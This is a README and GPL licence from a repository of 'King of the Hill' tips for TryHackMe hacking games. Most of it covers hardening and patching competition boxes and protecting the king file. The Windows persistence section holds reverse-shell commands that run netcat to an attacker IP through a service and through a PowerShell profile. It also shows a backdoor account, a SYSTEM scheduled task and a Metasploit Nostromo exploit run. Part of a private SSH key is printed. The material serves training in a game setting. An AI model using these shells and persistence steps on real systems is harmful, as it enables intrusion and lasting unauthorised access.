├── LICENSE ├── README.md ├── flag-finder └── flag-finder.sh └── static-bin ├── make ├── nyan └── pspy64 /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TryHackMe KoTH Tricks 2 | 3 | - "Don't use cheats on koth, just play for fun, learn from other players, learn new techniques, for me, this is the essence of a battlegrounds style game". 4 | 5 | ## Introduction 6 | 7 | King of the Hill (KoTH) is a competitive hacking game, where you play against 10 other hackers to compromise a machine and then patch its vulnerabilities to stop other players from also gaining access. The longer you maintain your access, the more points you get. 8 | 9 | But the real challenge for the koth player is defending /root/king.txt . On windows machines king is in C:\king.txt or in C:\Users\Admininstrator\king-server\king.txt. 10 | 11 | ## Defense/Patching Linux Box 12 | 13 | On linux machines, most people get root through PwnKit, to prevent players from getting root access, just remove the suid from the pkexec binary. 14 | 15 | ### [ Patching Root Access ] 16 | 17 | ``` 18 | chmod -s /usr/bin/pkexec 19 | ``` 20 | 21 | In addition to pwnkit, players abuse SUID in binaries like find, bash, mount, among other binaries, to remove SUID from binaries just use the command; 22 | 23 | ``` 24 | chmod -s $(which find) 25 | ``` 26 | 27 | You can find binaries that have SUID and if through the binary you found, there is a way to abuse it to have a rooted shell, to find binaries like that you can use the following command; 28 | 29 | ``` 30 | find / -perm /4000 2>/dev/null 31 | ``` 32 | 33 | In addition to SUID, you can check the following files; 34 | 35 | - /etc/sudoers - Players abuse this to build their persistence. 36 | - /etc/sudoers.d - Players abuse this to build their persistence. 37 | - /etc/crontab - Players abuse this to build their persistence. 38 | - /var/spool/* - Players abuse this to build their persistence. 39 | - /etc/systemd/system - Players abuse this to build their persistence. 40 | - */.ssh/ - Players abuse this to build their persistence. 41 | - /opt/ 42 | - /etc/passwd - Players Create your own user. 43 | - /etc/shadow - Players Create your own user. 44 | - */.bashrc - Players abuse this to build their persistence. 45 | 46 | You can also change the password for the root user, among other existing users on the machine, for this, you can use onelines, like; 47 | 48 | ``` 49 | echo -e "hackerpassword\nhackerpassword" | passwd root 50 | echo -e "hackerpassword\nhackerpassword" | passwd user 51 | ``` 52 | 53 | I think this is enough to protect the machine, if you are the first to enter the machine, and patching so that other players do not have root, you already have a great advantage. 54 | 55 | ### [ Patching Web Application Vulnerable ] 56 | 57 | Most koth linux machines, you can get a reverse shell, through a simple command injection, you can get an LFI, Backdoors on different ports, among others. I'll put the main ways to defend, The patched codes too. 58 | 59 | - Command Injection in Tyler Machine. 60 | 61 | ``` 62 | [root@tyler betatest]# cat checkuser.php 63 | 77 | [root@tyler betatest]# 78 | 79 | ``` 80 | 81 | - LFI In Lion Machine. 82 | 83 | ``` 84 | root@lion:/var/www/nginx# cat -v index.php 85 | 86 | 87 | 88 | 89 | 90 | 110 |

111 |

Gloria's Personal Site

112 |
113 | 127 |
128 | 129 | 130 | 131 | root@lion:/var/www/nginx# 132 | ``` 133 | 134 | - Unrestricted File load and Perl Reverse shell in Lion Machine. 135 | 136 | ``` 137 | root@lion:/var/www/html/upload# ls 138 | image.png index.php uploads 139 | root@lion:/var/www/html/upload# cat -v index.php 140 | $maxFileSize) { 158 | echo "Sorry, your file is too large."; 159 | $uploadOk = 0; 160 | } 161 | 162 | // Validate file extension 163 | $allowedExtensions = array("jpg", "jpeg", "png", "gif"); 164 | if (!in_array($extension, $allowedExtensions)) { 165 | echo "Sorry, only JPG, JPEG, PNG, and GIF files are allowed."; 166 | $uploadOk = 0; 167 | } 168 | 169 | // Check if $uploadOk is set to 0 by an error 170 | if ($uploadOk == 0) { 171 | echo "Sorry, your file was not uploaded."; 172 | } else { 173 | // If everything is ok, try to upload file 174 | if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { 175 | echo "The file " . basename($_FILES["fileToUpload"]["name"]) . " has been uploaded."; 176 | // Process or store the uploaded file securely 177 | // Do not execute the file directly 178 | } else { 179 | echo "Sorry, there was an error uploading your file."; 180 | } 181 | } 182 | } 183 | ?> 184 | 185 | 186 | 187 | 188 |

189 |

190 |
191 | Select file to upload: 192 | 193 | 194 |
195 |
196 | 197 | 198 | 199 | root@lion:/var/www/html/upload# 200 | ``` 201 | 202 | - Nostromo RCE In Lion Machine. 203 | 204 | ``` 205 | root@lion:/var/nostromo/htdocs# ls 206 | cgi-bin image.png index.html nostromo.gif 207 | root@lion:/var/nostromo/htdocs# ss -anlpt|grep 8080 208 | LISTEN 0 128 *:8080 *:* users:(("nhttpd",pid=958,fd=3)) 209 | root@lion:/var/nostromo/htdocs# export machineIP=10.10.76.94 210 | root@lion:/var/nostromo/htdocs# kill -9 958 211 | root@lion:/var/nostromo/htdocs# python3 -m http.server 8080 -b $machineIP 212 | Serving HTTP on 10.10.76.94 port 8080 ... 213 | 10.14.39.200 - - [01/Jul/2023 12:38:53] code 501, message Unsupported method ('POST') 214 | 10.14.39.200 - - [01/Jul/2023 12:38:53] "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" 501 - 215 | 10.14.39.200 - - [01/Jul/2023 12:39:57] "GET / HTTP/1.1" 200 - 216 | 10.14.39.200 - - [01/Jul/2023 12:40:05] "GET / HTTP/1.1" 200 - 217 | 10.14.39.200 - - [01/Jul/2023 12:40:05] code 501, message Unsupported method ('POST') 218 | 10.14.39.200 - - [01/Jul/2023 12:40:05] "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1" 501 - 219 | ``` 220 | 221 | In My Machine. 222 | 223 | ``` 224 | msf6 exploit(multi/http/nostromo_code_exec) > run 225 | 226 | [*] Started reverse TCP handler on 10.14.39.200:4444 227 | [*] Running automatic check ("set AutoCheck false" to disable) 228 | [!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation. 229 | [*] Configuring Automatic (Unix In-Memory) target 230 | [*] Sending cmd/unix/reverse_perl command payload 231 | [*] Exploit completed, but no session was created. 232 | msf6 exploit(multi/http/nostromo_code_exec) > 233 | ``` 234 | 235 | - Backdoor In Panda Machine. 236 | ``` 237 | [root@panda 06d63d6798d9b6c2f987f045b12031d6]# ls 238 | flag index.php 239 | [root@panda 06d63d6798d9b6c2f987f045b12031d6]# cat -v index.php 240 | 241 | 242 | 243 | 244 |
245 | 246 | 247 | 248 |
249 | 254 | 255 | 256 | [root@panda 06d63d6798d9b6c2f987f045b12031d6]# 257 | ``` 258 | 259 | - Changing Password Tomcat in Shrek Machine. 260 | 261 | ``` 262 | [root@shrek conf]# pwd 263 | /opt/tomcat/conf 264 | [root@shrek conf]# cat tomcat-users.xml 265 | <---------------------------------------------------> 266 | 267 | 268 | 269 | <---------------------------------------------------> 270 | [root@shrek conf]# 271 | ``` 272 | 273 | - File containing SSH-KEY for user. 274 | 275 | ``` 276 | [root@shrek html]# pwd;head -n10 Cpxtpt2hWCee9VFa.txt #This is SSH-KEY 277 | /var/www/html 278 | -----BEGIN RSA PRIVATE KEY----- 279 | MIIEogIBAAKCAQEAsKHyvIOqmETYwUvLDAWg4ZXHb/oTgk7A4vkUY1AZC0S6fzNE 280 | JmewL2ZJ6ioyCXhFmvlA7GC9iMJp13L5a6qeRiQEVwp6M5AYYsm/fTWXZuA2Qf4z 281 | 8o+cnnD+nswE9iLe5xPl9NvvyLANWNkn6cHkEOfQ1HYFMFP+85rmJ2o1upHkgcUI 282 | ONDAnRigLz2IwJHeZAvllB5cszvmrLmgJWQg2DIvL/2s+J//rSEKyISmGVBxDdRm 283 | T5ogSbSeJ9e+CfHtfOnUShWVaa2xIO49sKtu+s5LAgURtyX0MiB88NfXcUWC7uO0 284 | Z1hd/W/rzlzKhvYlKPZON+J9ViJLNg36HqoLcwIDAQABAoIBABaM5n+Y07vS9lVf 285 | RtIHGe4TAD5UkA8P3OJdaHPxcvEUWjcJJYc9r6mthnxF3NOGrmRFtDs5cpk2MOsX 286 | u646PzC3QnKWXNmeaO6b0T28DNNOhr7QJHOwUA+OX4OIio2eEBUyXiZvueJGT73r 287 | I4Rdg6+A2RF269yqrJ8PRJj9n1RtO4FPLsQ/5d6qxaHp543BMVFqYEWvrsdNU2Jl 288 | [root@shrek html]# echo "" > Cpxtpt2hWCee9VFa.txt 289 | [root@shrek html]# cat Cpxtpt2hWCee9VFa.txt 290 | 291 | [root@shrek html]# 292 | 293 | ``` 294 | 295 | ### [ Protect King File ] 296 | 297 | Undoubtedly, the biggest challenge of KoTH is protecting the king, many people send me messages asking how do I protect the king, or about how to protect the king, So, in this session I decided to put my defense technique in KoTH, and I will also put techniques that other players use. 298 | 299 | We can say that chattr today on KoTH is not as strong as it used to be, as many players created their own defense techniques on king. But here I'm going to mention defense techniques in king, which you can use, and are also techniques that other players use in every koth game. 300 | 301 | - Whiles for protect /root/king.txt using chattr. 302 | 303 | > while [ 1 ]; do chattr -ia /root/king.txt 2>/dev/null; echo -n "YourNick" >| /root/king.txt 2>/dev/null; chattr +ia /root/king.txt 2>/dev/null; done & 304 | 305 | - Mount Trick. 306 | 307 | ``` 308 | sudo lessecho USERNAME > /root/king.txt 309 | sudo dd if=/dev/zero of=/dev/shm/root_f bs=1000 count=100 310 | sudo mkfs.ext3 /dev/shm/root_f 311 | sudo mkdir /dev/shm/sqashfs 312 | sudo mount -o loop /dev/shm/root_f /dev/shm/sqashfs/ 313 | sudo chmod -R 777 /dev/shm/sqashfs/ 314 | sudo lessecho USERNAME > /dev/shm/sqashfs/king.txt 315 | sudo mount -o ro,remount /dev/shm/sqashfs 316 | sudo mount -o bind /dev/shm/sqashfs/king.txt /root/king.txt 317 | sudo rm -rf /dev/shm/root_f 318 | ``` 319 | 320 | By the way, if you try to put your nick once in /root/king.txt and the message "Read-only file system" appears, most likely, the other player is using this technique. 321 | 322 | To undo this, just use umount. 323 | 324 | > umount -l /root/king.txt or umount -l /root 325 | 326 | - "symbolic link" using "ln" command. 327 | 328 | ```mkdir /dev/shm/... 329 | cp -r /root/ /dev/shm/... 330 | cd /dev/shm/.../root 331 | rm king.txt 332 | echo "YourNick" > ... 333 | ln -s ... king.txt 334 | ``` 335 | 336 | It's up to your imagination what you can try to add to this and what to do x). 337 | 338 | - Chattr for block /root. 339 | 340 | > cd / && chattr +ia root 341 | 342 | - Oneline using date, to combine. 343 | 344 | ``` 345 | while true; do 346 | chattr -ia /root/king.txt 2>/dev/null 347 | echo -n "YourNick" >| /root/king.txt 2>/dev/null 348 | chattr +ia /root/king.txt 2>/dev/null 349 | sleep $((60 - $(date +%S) % 60)) 350 | done & 351 | 352 | ``` 353 | 354 | 355 | - Intercept Syscall Write from /root/king.txt. 356 | 357 | > This technique is very advanced using LKM ( Loadable Kernel Module) that is, at the kernel/ring0 level, me and F11snipe use it, basically if you try to put your nickname in king.txt, nothing will happen and the nickname of who is using the intercept syscall write will remain, as this file is being intercepted. 358 | 359 | In this technique, I plan to add my C code along with its Makefile very soon. 360 | 361 | - LD_PRELOAD for defense of king. 362 | 363 | Soon I will also add a code for this way to defend the king. 364 | 365 | - Programs written in C to protect the king. 366 | 367 | The [kingmaker](https://raw.githubusercontent.com/ChrisPritchard/ctf-writeups/master/tryhackme-koth/tools/kingmaker.c) that "Aquinas" created a while ago, to defend the king, is really good, and you can take the code in C, study and improve it. 368 | 369 | These are the main ways to defend the king, other KoTH players also use these same techniques to defend the king. 370 | 371 | I think that from this, you can have A LOT of ideas, even ideas for you to create your own script/way to defend the king. 372 | 373 | ### [ Defending Linux Box From Rootkits ] 374 | 375 | Some players use rootkits in KoTH games, I think that many players don't know how to defend against a rootkit, so it is in this section that I will put some points to be able to defend and disable a rootkit. 376 | 377 | - sysctl 378 | 379 | Basically the command "sudo sysctl -w kernel.modules_disabled=1" disables the loading of kernel modules in the Linux operating system, restricting the ability to load and unload modules during execution. This can be useful for improving security by preventing unauthorized or malicious modules from being loaded into the system's kernel. 380 | 381 | For this to work you would have to run this command before the player loads your rootkit/LKM. Because if the enemy player loads the rootkit first, this command will have no effect. 382 | 383 | Hint: you really have to be really quick as there are some people who use autopwn. 384 | 385 | > sudo sysctl -w kernel.modules_disabled=1 386 | 387 | - blocking insertion of new modules using LKM 388 | 389 | it is possible to make LKM that blocks the insertion of new modules, I had made one, however, when I went to load it in KoTH machines, the machine broke completely, so I could not proceed with this, but you can search, and try to create your own own. 390 | 391 | - Diamorphine rootkit with its default kill signal 392 | 393 | I realize that KoTH players use diamorphine rootkit, but do not change the kill signal 63 (remembering that if you kill this PID and put 0 after it, the rootkit module will reappear). 394 | 395 | > kill -63 0 && rmmod diamorphine 396 | 397 | If in case the module name is not "diamorphine", you can check the others using lsmod. 398 | 399 | > lsmod | head -n5 400 | 401 | - LD_PRELOAD Rootkit 402 | 403 | It is common for koth players to also use the LD_PRELOAD rootkit. The good news is that removing it is not very complex, just follow these commands below. 404 | 405 | > echo "" > /etc/ld.so.preload && rm /lib/NameOf.So 406 | 407 | To discover the ".so" from the LD_PRELOAD rootkit, you can check the /lib/*. 408 | 409 | 410 | ## Persistence KoTH Linux Machines 411 | 412 | You can check my repository about persistence, all the techniques I use in koth, it's there. 413 | 414 | ### [DemonizedShell](https://github.com/MatheuZSecurity/D3m0n1z3dShell) 415 | 416 | Additional: you can use the mount command to mount a process in another directory, for example; 417 | 418 | > mount --bind /tmp /proc/PID 419 | 420 | Therefore, if you look at the processes, the PID you put there will no longer appear, I think many players use this trick too. 421 | 422 | To undo this is simpler than it seems. 423 | 424 | > mount | grep proc && umount /proc/PID 425 | 426 | ## Windows KoTH Machines 427 | 428 | On koth windows machines I think I'll put only the essentials in my view. 429 | 430 | ### Protect King 431 | 432 | - Using loop in combination with attrib. 433 | 434 | Offline Machine 435 | 436 | ``` 437 | @echo off 438 | :x 439 | attrib -a -s -r -i C:\Users\Administrator\king-server\king.txt&echo YourNickHere > C:\Users\Administrator\king-server\king.txt&attrib +a +s +r +i C:\Users\Administrator\king-server\king.txt 440 | goto x 441 | ``` 442 | 443 | H1-Medium Machine 444 | 445 | ``` 446 | @echo off 447 | :x 448 | attrib -a -s -r -i C:\ing.txt&echo YourNickHere > C:\king.txt&attrib +a +s +r +i C:\king.txt 449 | goto x 450 | ``` 451 | 452 | - Icalcs 453 | 454 | > icacls king.txt /deny Everyone:(W) 455 | 456 | This command will basically deny write permission ("W") for the group "Everyone" on the file "king.txt" 457 | 458 | Note that you can deny write permission for the Administrator user as well. 459 | 460 | > icacls king.txt /deny Administrator:(M) 461 | 462 | You can use icacls in a loop too, it's up to your imagination :D 463 | 464 | Well, I think this is enough for king protection on windows koth machines (until now). 465 | 466 | ### Persistence 467 | 468 | I think koth players rarely use persistence on windows machines, anyway I'll put some. 469 | 470 | - Service Execution 471 | 472 | Creating an malicious service. 473 | 474 | ``` 475 | sc create fsociety binpath= "C:\nc.exe yourIP PORT -e cmd.exe" start= "auto" obj= "LocalSystem" password= "" 476 | ``` 477 | 478 | - New Account 479 | 480 | Creating New account. 481 | 482 | > net user mrpwn mrpwnpassword123! /add 483 | 484 | - SchTasks 485 | 486 | Creating a new scheduled task that will launch shell.cmd every minute. 487 | 488 | ``` 489 | schtasks /create /sc minute /mo 1 /tn "yourtask" /tr C:\shell.cmd /ru "SYSTEM" 490 | ``` 491 | 492 | - Powershell Profile Persistence 493 | 494 | As soon as the user starts a new powershell, the command will be executed. 495 | 496 | ``` 497 | $PROFILE | select * 498 | echo "C:\temp\nc.exe YourIP Port -e powershell" > C:\temp\payload.exe" > $PROFILE 499 | cat $PROFILE 500 | ``` 501 | 502 | You can also use C2 (Command & Control). 503 | 504 | #### This repository still has more things to be added. 505 | 506 | ## References and studies 507 | 508 | [Terraminator Koth-Tricks Repo](https://github.com/Terraminator/thm-koth-tricks) 509 | 510 | [ired.team](https://www.ired.team/) 511 | 512 | - Rootkit Studies 513 | 514 | [rootkit diamorphine](https://github.com/m0nad/Diamorphine) 515 | 516 | [xcellerator](https://xcellerator.github.io/tags/rootkit/) 517 | 518 | [0x00sec.org](https://0x00sec.org/t/writing-a-simple-rootkit-for-linux/29034) 519 | 520 | [h0mbre](https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/) 521 | 522 | [Syscall Hooking](https://blog.convisoappsec.com/linux-rootkits-hooking-syscalls/) 523 | 524 | [jm33.me](https://jm33.me/tag/rootkit.html) 525 | 526 | [Awesome Rootkits](https://github.com/milabs/awesome-linux-rootkits) 527 | 528 | - Persistence 529 | 530 | 